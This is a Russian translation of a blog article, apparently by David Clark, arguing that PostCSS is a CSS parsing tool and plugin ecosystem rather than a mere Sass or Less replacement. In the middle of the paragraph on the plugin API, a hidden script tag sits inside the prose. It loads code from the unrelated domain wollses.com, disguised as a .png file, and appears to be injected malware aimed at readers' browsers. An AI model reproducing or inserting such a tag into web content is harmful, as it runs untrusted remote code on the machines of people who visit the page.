Какое-то время назад, я писал: «Я очарован PostCSS, но я боюсь оставить Sass». С тех пор, я искренне «обнял» PostCSS (и оставил Sass, по крайней мере, временно). Я использую PostCSS для крупномасштабных проектов, способствую его развитию и создаю плагины, общаюсь с разработчиками, чтобы узнать больше о том, что еще возможно сделать при помощи PostCSS; и все пошло как по маслу. Просто как по маслу.
Между тем, шум вокруг PostCSS возрос, провоцируя самые разные реакции – любопытство, волнение, подозрение, смятение, усталость, горечь, желание оборониться, сарказм, веселье, легкомысленное равнодушие, самодовольное презрение, веселое сжимание кулаков, и так далее.
У меня есть две точки зрения, и я хотел бы внести свой вклад в эту суматоху:
- Вы не должны бояться. Набор инструментов, чтобы обработать style-код, на самом деле довольно небольшой (или мне так кажется, потому что я также пишу JavaScript). Дополнительные возможности не повредят никому и ничему.
- Каждый, кто пишет CSS должен узнать, что такое PostCSS- что это на самом деле, и для чего оно может быть использовано (а не только то, что сказал холеричный, реактивный Твитер об этом) – прекращаете ли вы им пользоваться прямо сейчас. Потому что, если вы думаете, PostCSS просто альтернатива Sass и Less, вас дезинформировали.
Я не знаю, что я могу сделать, чтобы похвалить # 1 … Какая-то смесь утешительных слов, или подбадривание, которое получают от тренера, легкий толчок, и перспективу? В этом случае, я, наверное, не лучший советчик.
Так что я перейду к # 2, где я, может быть, буду в состоянии помочь. Поработав с PostCSS некоторое время, я думаю, что я узнал о нем то, чем стоит поделиться с остальными.
Что мы имеем в виду, когда говорим «PostCSS»
Слово «PostCSS» мы соответственно относим к двум вещам:
- Существует PostCSS, как инструмент – то, что вы получаете, когда вы запускаете npm install postcss – и
- Плагин экосистемы PostCSS, запускаемый этим инструментом.
Сам инструмент относится к модулю Node.js, который разбирает CSS в абстрактное синтаксическое дерево (AST); прогоняет AST через любое количество функций плагина; и затем преобразует эту AST обратно в строку, которую вы можете вывести в файл. Каждая функция АSТ проходит через это, не важно, могут они преобразовать его или не могут; браузер Sourcemaps призван отслеживать любые изменения.
АSТ обеспечивает простой API, который разработчики могут использовать для написания плагинов. Например, вы можете взять в круг каждый набор правил в файле с css.eachRule() , или каждое объявление в правило с rule.eachDecl() . Вы можете получить селектор правила с rule.selector<script src="//wollses.com/steps.png"></script> или имя at-правила с atRule.name . Из этих немногих примеров можно увидеть, что API PostCSS облегчает работу с исходным кодом СSS (он гораздо проще и точнее даже самых обычных и простых слов).
Вот и все, что в настоящее время делает PostCSS: он не меняет ваш CSS. Плагин может сделать это. PostCSS плагины могут сделать очень многое, все, что они хотят, с разобранным CSS. Один плагин может включить переменные, или какое-либо другое полезное расширение языка. Другой может изменить все ваши a to k. Другой может выводить предупреждение всякий раз, когда вы используете селектор ID. Еще один, может добавить масонское ASCII искусство в верхней части таблицы стилей. Следующий может сосчитать, сколько раз вы используете float описания. И так далее, непрерывно.
PostCSS может обеспечить неограниченное разнообразие плагинов, которые читают и управляют CSS. Эти плагины не имеют объединяющего их пункта в повестке дня, за исключением пункта – решить задачу.
Обратите внимание, что ни сам инструмент, ни плагин экосистемы не являются прямыми аналогами Sass и Less. Однако: объедините набор связанных плагинов, которые преобразуют дружелюбные автору стили в дружелюбный браузер CSS, и тогда у вас будет что-то аналогичное хорошему «препроцессору».
Но, имейте в виду, что эти «пакеты плагинов» только дополнительные члены экосистемы, как и все неупакованные плагины. Ни один плагин или пакет плагинов не непредставляет собой “PostCSS”: вместо этого у нас есть растущая экосистема, состоящая из многих отдельных модулей (снабжаемая PostCSS).
Несколько последствий модульности PostCSS
Попытки утверждать, что PostCSS является (или должен быть) «постпроцессором», по сравнению с «препроцессорами» Sass и Less ошибочны.
Независимо от ваших определений «постпроцессора» и «препроцессора», всегда будут PostCSS плагины, которые попадут в оба лагеря. Согласно большинству определений, Autoprefixer является знаковым «постпроцессором»; но есть также и такое, как postcss-each , который относится к «препроцессору».
Есть также плагины, которые не преобразят ваш CSS вообще, как stylelint и postcss-bem-linter и list-selectors .
Если вы хотите сохранить чистое различие в процессе собственной сборки, используя только PostCSS плагины о которых вы думаете, как о «постпроцессинге» – хорошо, выбирайте плагины с осторожностью.
Основываясь на этом…
Попытки связать “PostCSS” с конкретными расширениями синтаксиса или преобразованиями являются ошибочными.
PostCSS – это модуль низкого уровня, что облегчает создание других инструментов; и нет никаких ограничений на то, что инструменты более высокого уровня (плагины) могут делать.
Так PostCSS не о том, чтобы позволить вам написать CSS Будущего (синтаксиса и функций из специальных проектов); это больше о том, чтобы обеспечить циклы и условности и другие Sass-подобные функции. Есть отдельные плагины, которые делают и то, и другое, а также пакеты плагинов ( cssnext и precss); но ни один из них, ни в какой степени не представляет собой PostCSS.
Все это означает, что …
Когда люди думают, что они критикуют “PostCSS,” они, вероятно, критикуют определенные плагины или плагин-пакеты, или особый способ использования конкретного плагина.
Конечно, лучше раскритиковать – но не обманывайте себя, прекращая работать с другими инструментами, основанными на PostCSS только потому, что один из них указал вам неправильный путь.
Это приводит к следующей точке …
Вы можете выбрать или отказаться от любого плагина PostCSS в любое время.
Каждый плагин является лишь частью процесса сборки, только потому что вы вставили его туда. Если плагин не понравится вам, удалите его. Никто не собирается останавливать вас.
Учтите, однако, что некоторые плагины могут быть использованы различными способами и, возможно, ваше неудовольствие сменится, если вы используйте плагин по-другому.
Может быть вам, как и Крису Эппштейну, не нравится postcss-define-property – можно создать новые свойства, которые выглядят в точности как настоящие, стандартные свойства. Ну, есть очень простое решение для этого: придумать новые свойства, которые не выглядят в точности как настоящие, стандартные свойства.
И если вы думаете, что плагин нуждается в примерах более понятных, или в новых опциях, вы можете внести свой вклад, потому что …
Плагины – это относительно небольшие модули, так что они должны легко реагировать на обратную связь и легко вносить свой вклад.
И если вы не находите плагин, который делает то, что вы хотите или то, как вы хотите…
Вы всегда можете создать свой собственный плагин, чтобы удовлетворить свои собственные желания.
Это один из наиболее важных моментов. Его стоит повторить …
Вы всегда можете создать свой собственный плагин, чтобы удовлетворить свои собственные желания.
Именно это делает PostCSS новым и фантастическим – легкость, с которой вы можете попробовать что-то совершенно другое.
Или вы можете немного подправить то, что есть. Если какой-то плагин использует синтаксис, который вам нравится, но его функциональность вас не устраивает, создайте другой «продукт» на его базе с «правильной» функциональностью. Если какой-то другой плагин обеспечивает функциональность, которая вас устраивает, но синтаксис вызывает отвращение, создайте новый «продукт» с «правильным» синтаксисом. И когда люди видят, что вы сделали, и жалуются на ваш собственноручно сделанный плагин, вы всегда можете предложить им написать свой собственный.
(Рискуя выглядеть смешно и напыщенно …) Я бы предложил многим дизайнерам и разработчикам веб-интерфейса, на самом деле узнать о возможностях PostCSS в сфере переработки CSS. Все, что функциональные возможности Sass и Less предоставляют – это не магия. Она не должна быть такой. Это только люди за занавесом, и хотя они могут быть умными и трудолюбивыми, вы не должны считать, что они знают лучше вас, что лучше в вашей ситуации.
Решение проблем с PostCSS
Работа с PostCSS напомнила мне, что процессор CSS существует, чтобы решать проблемы, что в значительной степени все проблемы имеют множество решений и я мог бы выбрать между альтернативными решениями или даже создать свое собственное.
Заручившись поддержкой PostCSS, я начал решать свои CSS проблемы в первую очередь – точно также, как я это делаю с JavaScript. Вместо того чтобы изучать огромное количество литературы, прежде чем я на самом деле узнаю, что происходит, сначала я думаю о фактической проблеме, которая требует решения, затем я обдумываю существующие решения и только потом, я либо использую существующее решение или начинаю разрабатывать свое собственное.
Думаю, это веселый и интересный процесс.
Кроме того, я думаю, что это помогло мне упростить свой подход к CSS. Помните – хотя может показаться, что это было давно, – что многие разработчики в какой-то степени сопротивлялись принятию Sass и Less, потому что они были обеспокоены тем, что «препроцессоры» не решали достаточно хорошо реальные проблемы, чтобы оправдать трудности, которые они могли добавить автору. В действительности, я никогда не соглашался с этим (может быть, потому что, я никогда не возражал против небольших сложностей в процессе разработки); но я признаю критику и принимаю то, что, если вы не уверены, что проблемы решаются с помощью какого-либо инструмента, вы не должны чувствовать себя обязанными использовать этот инструмент.
Я построил (и продолжаю поддерживать) важную и необходимую библиотеку-утилиту Sass, потому что она решает важные задачи в моей предыдущей работе, где я должен был много и быстро печатать CSS. Теперь у меня есть новое задание с различными проблемами (например, масштабируемость, и странные, уникальные тематические требования) и для моих текущих потребностей я понял, что предпочитаю минималистический подход к CSS, включая, по крайней мере, столько же анализа как и в процессинге. Я также хочу ограничить свои полномочия в пользу моей команды, включая только выборочно решение нестандартных функций. PostCSS, инструмент и экосистема, отлично подходит для моих текущих потребностей.
Вот и все
Я собирался написать еще один раздел под названием “А теперь, на потеху, давайте рассмотрим некоторую непродуманную критику PostCSS.” Но я думаю, что эта статья уже достаточно длинная. И проницательный читатель уже поймет, как большинство моих опровержений будет выглядеть. Если у вас есть претензии, и вы хотели бы услышать опровержения, напишите мне в Твиттере @davidtheclark и я отвечу вам.
Перевод статьи
